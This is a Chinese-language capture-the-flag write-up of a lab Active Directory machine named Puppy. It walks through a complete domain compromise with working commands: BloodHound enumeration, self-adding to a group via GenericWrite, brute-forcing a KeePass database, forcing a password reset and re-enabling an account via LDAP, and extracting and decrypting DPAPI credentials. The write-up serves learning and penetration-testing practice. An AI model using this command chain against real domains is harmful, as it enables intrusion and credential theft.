前言
最近一直在做域渗透相关的练习,积攒了很多,但是没有时间写下来。索性挑一个最具代表性的写出来,尽量将涉及到的知识点写的详细一点。
部分思路参考了这篇博客,在此表示感谢。
信息收集
Nmap
bash
nmap -v -A 10.10.11.70

发现开放了诸如139(NetBIOS)、445(SMB)、5985(WinRM,也可以看这篇博客。)端口,判断是一台域控主机。
获得立足点
作者给了一个账号levi.james / KingofAkron2025!
。先看一下有什么共享目录可以访问。
bash
netexec smb 10.10.11.70 -u levi.james -p KingofAkron2025! --smb-timeout 10 --shares

在这里,请注意--smb-timeout
选项。不知道是不是因为我的网络的原因,使用默认超时设置会导致SMB连接超时,表现为执行命令后无任何输出。这种情况可以使用--debug
选项开启调试模式,在执行记录中可以发现一条"DEBUG Timeout creating SMBv3 connection to 10.10.11.70"的报错。这里需要注意的是,这个报错等级是"DEBUG"而非"ERROR",如果不仔细看可能会漏掉,当时在这里花费了不少时间。
使用netexec smb --help
命令可以查看所有关于SMB连接的选项,其中有--smb-timeout
、--dns-timeout
等多个关于超时的选项。--smb-timeout
的默认值是2(猜测是2秒的意思),改成10后成功连接。
回头分析命令执行的结果。可以看出,只有一些默认的共享目录有读取权限,连接上去也没发现有任何的线索。有一个名为DEV共享目录看起来是有价值的,不过当前用户对该目录没有任何权限。
提权
user
在域渗透中,如果没有线索,一般会使用Bloodhound分析权限关系。如果Kali默认没有安装Bloodhound的话,可以参考官方文档安装。
先使用bloodhound-ce-python收集一下域内信息。Kali默认安装的是旧版本的bloodhound-python,但是测试下来,和Bloodhound配合并不好,表现为收集到的数据压缩包上传到Bloodhound后无法解析。建议参考官方文档安装bloodhound-ce-python。
bash
bloodhound-ce-python -c all -d PUPPY.HTB -u levi.james -p KingofAkron2025! -dc DC.PUPPY.HTB -ns 10.10.11.70 --zip
命令执行完后,会生成一个压缩文件。把这个压缩文件上传到Bloodhound,等待解析完成。
鉴于网上对于如何使用Bloodhound的教程并不太多,新手容易对各种操作感到疑惑,我这里把步骤写的详细一些,希望能对新手有些帮助。
首先登录Bloodhound,在左边的菜单栏选择"Administration"。

然后在子菜单中选择"File Ingest",点击"Upload File(s)"按钮,在弹出对话框中选择前面生成的压缩文件。等待文件上传完成且数据解析完毕(状态显示"Complete")。

在主菜单栏选择"Explore"。

注意,默认这个界面是不会显示任何节点和网络关系的,需要在左上角搜索感兴趣的节点(账号、组等)。点击界面上出现的节点,在右侧会出现一个关于这个节点的信息列表,会有"Member Of"等多个分组,展开哪个分组,图中就会显示哪个网络关系。此时就可以开始分析了。

回到这次的分析中,可以发现,用户levi.james是HR组的成员,而HR组又对DEVELOPERS组有GenericWrite权限。这导致用户levi.james可以将任何用户添加至DEVELOPERS组,当然这里面也包括用户levi.james自身。还记得前面名为DEV的共享目录吗?和用户组不就对上了嘛。

添加用户levi.james自身至DEVELOPERS组。
bash
net rpc group addmem 'DEVELOPERS' levi.james -U PUPPY.HTB/levi.james%KingofAkron2025! -S 10.10.11.70
再次查看共享目录。

可以看到已经有了DEV目录的读取权限。
连接上去,查看DEV共享目录。
bash
smbclient //PUPPY.HTB/DEV -U levi.james KingofAkron2025!

可以看到有一个kdbx文件,很明显是一个Keepass备份文件。当时以为是利用低版本的Keepass漏洞获取主密钥的方式拿到存储的密码,但是发现没有漏洞利用的条件(其实版本也对不上)。后面看了前面提到的博客,发现是用keepass4brute进行爆破。
bash
./keepass4brute.sh recovery.kdbx rockyou.txt
这个脚本确实是很慢。不过作者也说了,这个脚本只是因为keepass2john暂时不支持KDBX 4.x格式的权宜之计。
打算后面有时间的话,参考该作者的思路,用其他语言实现一个高效的版本。(如果实现了,来这里补一下链接。)
最后通过爆破,得到了主密码"l*******l"。
通过主密码,得到了5组账号密码。通过和Bloodhound中的用户名对比,并尝试相似用户名的密码,得到了用户名密码组合"ANT.EDWARDS:A*********!"。其实这里应该做一个密码喷洒的,防止漏过密码复用的漏洞。只不过当时好不容易破解出密码,有点激动,忘记了做密码喷洒。
登录账号ANT.EDWARDS,没有任何有用的信息。
但是通过Bloodhound发现,账号ANT.EDWARDS属于SENIOR DEVS组,而SENIOR DEVS组又对账号ADAM.SILVER有GenericAll权限。

前面见到过GenericWrite权限,那么这里的GenericAll权限和它有什么区别呢?下面这个列表来自先知社区(注意,文章应该是机翻,理解意思即可):
- 使用 GenericWrite你只能做:
- 目标Kerberoasting:向用户添加 SPN,执行 kerberoasting,取消设置 spn。 但用户密码必须对kerberoasting 攻击起作用。
- 设置登录脚本:更改 ldap 参数以设置登录脚本。 但这意味着用户登录到他的计算机、smb 服务器或共享以提供脚本并设置绕过安全解决方案的脚本。
- 影子凭据:我们想要进行的攻击,我们需要域上的证书服务。
- 使用 GenericAll,您可以:
- ForceChangePassword :但在真正的渗透测试中,您不想通过更改密码来阻止用户。 这也不是很隐蔽。 所以如果你能用另一种方式做这很好:)
- genericWrite 部分中可用的所有攻击。
简单来说,拥有GenericWrite权限的账户可以实施目标Kerberoasting(Targeted Kerberoasting)攻击、设置登录脚本(不太常见)和影子凭据(Shadow Credentials)攻击,而GenericAll权限还可以让你拥有修改密码的权限。其他的权限类型可以看这个表格。
请注意,这里是目标Kerberoasting而不是简单的Kerberoasting。根据Kerberoasting的原理,Kerberoasting攻击并不需要任何多余的权限即可实施,详细介绍可以看这篇文章。
很多文章都说,Kerberoasting攻击需要GenericWrite或GenericAll权限,误导了很多人,包括我也在很长时间内有这个疑惑。这是因为这些文章混淆了Targeted Kerberoasting和Kerberoasting。关于Targeted Kerberoasting,可以看这篇文章。
影子凭据结合UnPAC可以获取账号的LM 或 NT hash,详细介绍可以看这篇文章和这篇文章。这两篇文章连同上面Kerberoasting的文章都讲的比较好,理论和工具利用都讲的很明白,可惜都是英文的,对英文不太好的小伙伴不是很友好,等有时间写一篇翻译吧。
回到题目中,上面的结论意味着账号ANT.EDWARDS可以对账号ADAM.SILVER实施目标Kerberoasting、设置登录脚本、影子凭据和修改密码这四种攻击,以获取账号ADAM.SILVER的权限。
首先,尝试目标Kerberoasting,没有解出密码,过程不赘述。
然后,尝试影子凭据结合UnPAC获取NT hash,也没有成功。这一步需要提示的是,certipy-ad提供了shadow auto
选项以便于自动利用(当然,也可以选择其他选项分开执行各个步骤)。
bash
certipy-ad shadow auto -u 'ANT.EDWARDS@PUPPY.HTB' -p A*********! -dc-ip '10.10.11.70' -account 'ADAM.SILVER'
最后,直接尝试修改密码吧。使用bloodyAD修改账号ADAM.SILVER的密码。
bash
bloodyAD -d puppy.htb -u ant.edwards -p A*********! --host 10.10.11.70 set password adam.silver hack@2333

尝试登录,结果发现账号被禁用了。

尝试使用bloodyAD解禁账号。
bash
bloodyAD -d puppy.htb -u ant.edwards -p A*********! --host 10.10.11.70 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver

可以看到工具显示解禁已经成功。
但是很奇怪,尝试去登录,仍然不行。使用bloodyAD查看,发现ACCOUNTDISABLE标记仍然存在。
bash
bloodyAD -d puppy.htb -u ant.edwards -p A*********! --host 10.10.11.70 get object adam.silver --attr userAccountControl

看了一下前面提到的博客,发现还可以通过ldapsearch解禁账号。
首先,获取需要的信息。
bash
ldapsearch -x -H ldap://10.10.11.70 -D 'ant.edwards@puppy.htb' -w 'A*********!' -b "dc=puppy,dc=htb" "(sAMAccountName=adam.silver)" dn

然后创建一个名为enable.ldif的文件,内容如下所示。其中,dn这一项来自于上面获取到的信息,512代表启用账号。
yaml
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 512
启用账号。
bash
ldapmodify -x -H ldap://10.10.11.70 -D 'ant.edwards@puppy.htb' -w 'A*********!' -f enable.ldif

使用ldapmodify查看账号状态。
bash
ldapsearch -x -H ldap://10.10.11.70 -D 'ant.edwards@puppy.htb' -w 'A*********!' -b "dc=puppy,dc=htb" "(&(objectClass=user)(sAMAccountName=adam.silver))" userAccountControl

使用bloodyAD查看账号状态。
bash
bloodyAD -d puppy.htb -u ant.edwards -p A*********! --host 10.10.11.70 get object adam.silver --attr userAccountControl

可以看到,账号已经处于可用状态。
登录账号。
bash
evil-winrm -i 10.10.11.70 -u 'adam.silver' -p 'hack@2333'

成功登录账号。在用户桌面找到user.txt并获取到User Flag。

root
翻找一番,发现C盘根目录存在一个名为Backups的目录,里面有一个压缩文件。

把压缩文件下载到本地。
bash
download ../../../Backups/site-backup-2024-12-30.zip
解压后,发现一个名为nms-auth-config.xml.bak的文件,在里面发现账号steph.cooper的密码。

使用evil-winrm登录账号后,没有发现有用的线索。上传了几个扫描漏洞的脚本,也没发现存在漏洞。
看了一下前面提到的博客,发现可以用WinPEAS辅助提权。这里需要注意,在release中,用于Windows提权的有winPEAS.bat和winPEASx64.exe两种(实际有更多,但此处只区别这两种)形态。测试下来,winPEAS.bat收集到的信息比winPEASx64.exe少很多(本次需要的信息也没有收集到),建议优先使用winPEASx64.exe。
另外,可以使用log=result.txt
选项将结果保存至文件,方便后续分析,同时避免命令行输出过长。不过实际操作下来,如果使用Linux平台打开result.txt,颜色会丢失,实际效果并不好,所以此处直接在命令行打印了结果,没有选择保存至文件。更多WinPEAS使用教程可以看这篇文章。
执行winPEASx64.exe,观察输出的结果,发现存在DPAPI主密钥和凭据文件。

简单来说,DPAPI是一个Windows服务,用于应用加密。应用加密的主密钥加密存储于C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}等目录,加密主密钥的密钥生成于用户凭证。如果加入了域,那么也会有一个用域备份密钥加密的主密钥。因此,只要有用户凭证(或域控权限),就可以解密出用于加密的主密钥。
解密出主密钥,就可以使用主密钥解密位于C:\Users\username\AppData\Local\Microsoft\Credentials\等目录下的加密数据。
关于DPAPI详细原理及利用方式,可以看这篇文章。
回到题目中,需要将主密钥文件和加密数据文件下载到本地进行解密。需要注意的是,由于这些文件都是隐藏文件,需要使用诸如dir /a:h
、Get-ChildItem -Hidden
或Get-ChildItem -Force
等命令进行查看。也是因此,无法使用evil-winrm的download命令直接下载文件。


受到这篇文章的启发,可以将文件内容转换为base64后下载下来。
bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D')) | Out-File -FilePath ".\b641" -Encoding utf8
三个文件(1个主密钥文件,2个加密数据文件)都是使用同样的方法下载。注意这里使用了-Encoding utf8
选项。虽然根据文档,Out-File默认使用的编码类型是utf8NoBOM,但是实际测下来文件开头仍会有两个字节的BOM,使用utf8则不会。
这个生成的文件则可以使用evil-winrm的download命令直接下载。
在本地将base64的内容转换为原始文件内容。解密主密钥。
bash
./impacket-0.12.0/examples/dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password C************!
这里需要注意,kali自带的impacket并没有dpapi这个模块,需要自己从release下载。

然后使用解密出来的主密钥解密加密数据。
bash
./impacket-0.12.0/examples/dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a5******9c84
一共有两个加密数据的文件,其中一个解密出来是用户名密码。

使用用户名密码登录。这里需要注意的是,在账号steph.cooper_adm的Desktop目录下并没有Root Flag。

通过Bloodhound可以发现,账号steph.cooper_adm是ADMINISTRATORS组的成员,因此具有查看Administrator用户目录的权限。在Administrator用户的Desktop目录下发现root.txt,并拿到了Root Flag。

后记
这个靶机获取用户权限的过程比较曲折,中间查阅了很多资料,也学习了很多之前没有掌握扎实的技术细节,收获还是很多的。
同时,我也尽可能详细地记述了相关知识点,希望能对读到这篇文章的人有所帮助。